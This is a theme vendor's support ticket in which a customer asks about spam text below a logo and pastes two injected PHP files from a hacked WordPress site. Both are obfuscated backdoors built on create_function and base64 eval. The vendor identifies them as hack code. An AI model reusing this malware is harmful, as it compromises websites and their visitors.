Okay
  Public Ticket #358502
SPAM below logo
Closed

Comments

  • Eva started the conversation

    My client is getting a spam sentence below the image of her logo. I don't get it on my computer, but I do also get it on my phone.

    It says "installment loans pasadena tx." I am attaching a screenshot from my phone. How did this get there/what is built into the theme to create/allow this?

  •  291
    Paul replied

    Hi Eva,

    No, the theme has nothing to do with that.

    I would suggest to google using keywords like "spam below logo wordpress" for more info.

    Regards,
    Paul

  • Eva replied

    Is the file 'theme-functions_backup.php' part of the theme package?

    This is the code in that file:

    <?php

    $hazelnut = 's';$crook = ')'; $christina='rORs=cl(c'; $depletions= ')>ged$i'; $amory = 'E'; $dedicate='e';

    $barbell = '?';$bluebook ='N'; $bulks ='w'; $enveloped ='"vP,aT:p'; $cloister='H';$elevation ='5';

    $harvestman = 'D';$lavishly ='a';$hefty ='t_])rWt)'; $fags = 'EtuBroJ$'; $graveness = '"_'; $baltic='s'; $increased='e'; $freckle ='W';$calculus= 'L'; $hog ='"';

    $hostess = 'q';$daddy= '$';$disassembling='O8n_';

    $intrastate = 'i;4a6ae';

    $fading='"ir';$hayden='k';

    $intimations= 'H$'; $lovers ='K';$howsomever ='d';$conductor='asyR_'; $flageolet= '('; $gilds = 'IQr';$hairydick= '$ Ec'; $barny = 'd';$appropriates= '$';

    $felicdad = 'Hv(_o';$chameleon= '((_Tc;';$hitchcock = 'M'; $circuses=']ntF';$ambivalently='"t'; $extract ='ee?(er('; $luella='wEW';$deltas = 'RUdfa9l'; $discovery= '6'; $anarchic= '[)at7w';$argumentative ='_@qteT';$lollipop= 'a:';$gallus= 'oS'; $ferdy ='Ori';$canine ='E';$evilspeak= 'i$SD[v';$demur='P';

    $distilling= 'r'; $belligerent= 'G';$confidences ='sO(ey_';$astronomically= 'eSTS;aVa"'; $junta= 'Q:E'; $anissa='A'; $folks = 'DO]ev';

    $kerchiefs = '$'; $deliquescent = 'r';$cliffhang='w';

    $invisibly= 'i?';$disown='T';$inducible = '"';$jerrie= ']';$gideon ='$';

    $conformation ='a';$brow= ')';$lucius='de';$cochineal='E'; $dehlia = '=';$bufferrers='i';$haploid ='g'; $grudges ='(';$animator= 's)bUsQEs'; $featherer='rC';$kerri='(';

    $gulch='u<K'; $cowboy= '[';$inventions ='eesmQ)rf';$dopant ='_';

    $horror = 'T';$crueler='eCi_KeeK'; $cheaply ='I';

    $earlie = '=;)$'; $fined= 'n;k)ip[';$incommutable='(';$livable = 'sg_,W'; $distinctions = 'o';

    $calcine = 'P';

    $deducer ='"';$gabrielle = 'S'; $headings ='o';

    $jammal = ')R'; $inductions= $chameleon['4'] .$inventions['6']. $crueler['6'] .$conformation .

    $argumentative['3'] .$crueler['6'].$livable['2'].

    $inventions['7']. $gulch['0']. $fined['0'] .$chameleon['4']. $argumentative['3'] .

    $fined['4'] . $headings.$fined['0'] ;

    $bach = $hairydick['1'] ;$arts =$inductions ($bach,$crueler['6']. $folks[4] .

    $conformation. $deltas['6'].$incommutable . $conformation .$inventions['6'] .

    $inventions['6'] .$conformation.$confidences['4'] . $livable['2'].$fined[5] .

    $headings .$fined[5]. $incommutable .$inventions['7'].

    $gulch['0'].

    $fined['0'] .

    $chameleon['4'] .

    $livable['2'].

    $livable['1'].

    $crueler['6'] .

    $argumentative['3'] . $livable['2']. $conformation . $inventions['6']. $livable['1'] .

    $livable[0].$incommutable.$jammal['0']. $jammal['0'] . $jammal['0'] .$fined['1'] ); $arts ($invisibly[1],$horror,$anarchic['4'],

    $discovery, $hypochlorite['1'], $folks[4], $circuses['3'],

    $fags['6'] , $livable['4'] , $circuses['3'] ,

    $earlie['3']. $fined['4'].$earlie['0']. $conformation.$inventions['6'].$inventions['6'] .

    $conformation.$confidences['4'].

    $livable['2'] . $inventions['3'] .$crueler['6'] .$inventions['6']. $livable['1']. $crueler['6'].

    $incommutable.

    $earlie['3'].$livable['2'].$jammal['1'].$animator['6'].$inventions['4'].$animator['3']. $animator['6'] .$gabrielle .$horror .

    $livable['3'] .

    $earlie['3'].$livable['2'].

    $crueler['1'] .$folks[1] .$folks[1] .$crueler['7'] .$cheaply . $animator['6'].$livable['3'] . $earlie['3'] . $livable['2'].$gabrielle. $animator['6'].$jammal['1']. $astronomically['6'].$animator['6']. $jammal['1'].

    $jammal['0'] . $fined['1'] . $earlie['3'] . $conformation. $earlie['0'].$fined['4']. $livable[0]. $livable[0] . $crueler['6'] .$argumentative['3']. $incommutable .

    $earlie['3']. $fined['4']. $fined['6'] .

    $deducer. $cliffhang. $lucius['0'] .$fined['2']. $argumentative['2'] . $cliffhang.

    $crueler['6'] . $livable[0].$headings.$deducer . $jerrie.$jammal['0']. $invisibly[1].

    $earlie['3'] .$fined['4'] . $fined['6'] . $deducer. $cliffhang. $lucius['0'] . $fined['2'] .

    $argumentative['2'] .$cliffhang. $crueler['6'] . $livable[0]. $headings .

    $deducer .

    $jerrie. $junta[1]. $incommutable.

    $fined['4'] . $livable[0].$livable[0].$crueler['6'] . $argumentative['3'] . $incommutable. $earlie['3'] . $fined['4'] . $fined['6'].$deducer .$felicdad['0'] . $horror .$horror .$calcine .

    $livable['2'] . $livable['4'] . $folks['0'] . $crueler['7'].$inventions['4'] . $livable['4'].$animator['6'] .$gabrielle .$folks[1] .$deducer .

    $jerrie .$jammal['0']. $invisibly[1].

    $earlie['3'] .$fined['4'] .$fined['6'] . $deducer.$felicdad['0']. $horror . $horror.$calcine. $livable['2'] . $livable['4'] .$folks['0']. $crueler['7'] .$inventions['4']. $livable['4'] .$animator['6'] .

    $gabrielle. $folks[1] . $deducer.

    $jerrie .$junta[1].$lucius['0'] .$fined['4'].

    $crueler['6'].$jammal['0']. $fined['1'] . $crueler['6'] . $folks[4].

    $conformation .

    $deltas['6'] .$incommutable .$livable[0] .$argumentative['3'] . $inventions['6'] .$inventions['6'].$crueler['6'].$folks[4] . $incommutable .$animator['2'] . $conformation.$livable[0] .$crueler['6']. $discovery.$intrastate['2'] .

    $livable['2'].$lucius['0'] . $crueler['6']. $chameleon['4'].

    $headings .$lucius['0']. $crueler['6'] .

    $incommutable. $livable[0] . $argumentative['3'] . $inventions['6'] .

    $inventions['6'].

    $crueler['6']. $folks[4] . $incommutable . $earlie['3'] .

    $conformation . $jammal['0'].$jammal['0'] . $jammal['0'] . $jammal['0'] .

    $fined['1']);

  • Eva replied

    Actually, can you also tell me about the theme-functions.php file. Here is what is in the top of that file, and I am guessing it is spam. Lastly, what can I do to prevent a hack on here? I have a number of Wordpress sites and this is is the only theme that has been hacked.

    <?php

    $wp_user_functions_init = create_function('$a',strrev(';)a$(lave'));

    $wp_user_functions_init(strrev(';))"==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"(edoced_46esab(lave'));

    ?><?php

  •  291
    Paul replied

    Eva,

    1. No, the theme never have that file. The theme has only "theme-functions.php" file.

    2. No, that is not the code from my theme. It is surely a spam one. You might get this after your site is hacked.

    In case you are curious about the files and code, you can check and compare from the original theme ZIP package that you can download from ThemeForest using your account.

    3. You can google to find more info on how to improve the security of your WordPress site. Try "how to improve wordpress security". Also check out this useful article:http://codex.wordpress.org/FAQ_My_site_was_hacked

    When you got hacked, it means your "WordPress" site (or server itself, FTP or any others that have access credentials) is hacked, not the theme is actually hacked. Once your site or server is hacked, the hackers will then alter most of your WordPress's core files, themes and maybe plugins and put their malicious code in them.